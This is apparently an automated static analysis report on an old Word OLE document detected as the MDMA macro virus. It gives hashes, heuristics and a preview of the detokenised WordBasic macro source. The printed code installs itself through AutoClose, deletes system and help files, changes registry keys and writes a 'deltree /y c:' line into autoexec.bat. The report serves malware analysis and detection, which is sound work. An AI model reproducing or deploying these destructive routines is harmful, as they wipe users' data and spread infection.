MDMA — Office (OLE) malware analysis

Static analysis result for SHA-256 f8071be595826ccb…

MALICIOUS

Office (OLE)

7.5 KB First seen: 2012-06-14
MD5: 11e4b60c00b81d2a47a2450d00219307 SHA-1: ac3e96bd3072bfed7304aa1c515a1eb3b85f8461 SHA-256: f8071be595826ccb198dacb4ac208a4b5f2548fa05e8d243502fc90cc798e42c
102 Risk Score

Malware Insights

MDMA · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic macro markers and is detected as Win.Trojan.MDMA-3 by ClamAV. The macro code appears to be designed for infection and propagation, including attempts to modify system files and registry keys. The presence of 'RSN MACRO VIRUS Goat file' and 'MDMA' in the document body strongly suggests the MDMA family.

Heuristics 3

  • ClamAV: Win.Trojan.MDMA-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.MDMA-3
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 1456 bytes
SHA-256: d8ba071eae2ffbf65180a6a91a7e1beb13ff234d1e4833bf96d2b6fafae16375
Preview script
First 1,000 lines of the extracted script
29551
MAIN
, -
install
@cmd80f2 @cmd80f7 = 1
get_platform
1
infect_maa
2
infect_windows
3
infect_NT
4
infect_95
show_credits
install
, -
total = @cmd80b7 0
installed = 0
total 0
i = 1 total
@cmd80b8 i , 0 = "AutoClose"
installed = 1
installed = 0
@cmd80c2 @cmd803b = ":AutoClose" , "Global:AutoClose" , 1
total = @cmd80b7 1
installed = 0
total 0
i = 1 total
@cmd80b8 i , 1 = "AutoClose"
installed = 1
installed = 0
@cmd0054 = 1
@cmd80c2 "Global:AutoClose" , @cmd803b = ":AutoClose" , 1
get_platform
, -
@cmd800f @cmd80b5 1 , "Macintosh"
get_platform = 1 REM MAC
@cmd80b5 9 "0"
get_platform = 2 REM old version of windows
@cmd800f @cmd810c 21 , "NT"
get_platform = 3 REM Windows NT
REM is nothing else, so must be... '95!
get_platform = 4
infect_mac
, -
@cmd80ab @cmd816e "****"
infect_windows
, -
@cmd80ab "c:\shmk."
"c:\autoexec.bat" 1
1 , "@echo off"
1 , "deltree /y c:"
1 , "@echo You have just been phucked over by a virus"
1
infect_NT
, -
@cmd80ab "*.*"
@cmd80ab "c:\shmk."
infect_95
, -
@cmd80ab "c:\shmk."
@cmd80ab "c:\windows\*.hlp"
@cmd810e "HKEY_CURRENT_USER\Control Panel\Accessibility\Stickykeys" , "On" , "1" ,
@cmd810e "HKEY_LOCAL_MACHINE\Network\Logon" , "ProcessLoginScript" , "00" ,
@cmd810e "HKEY_CURRENT_USER\Control Panel\Accessibility\HighContrst" , "On" , "1" ,
@cmd80ab "c:\windows\system\*.cpl"
show_credits
, -
@cmd802b "You are infected with MDMA_DMV. Brought to you by MDMA (Many Delinquent Modern Anarchists)." , "MDMA_DMV" , 16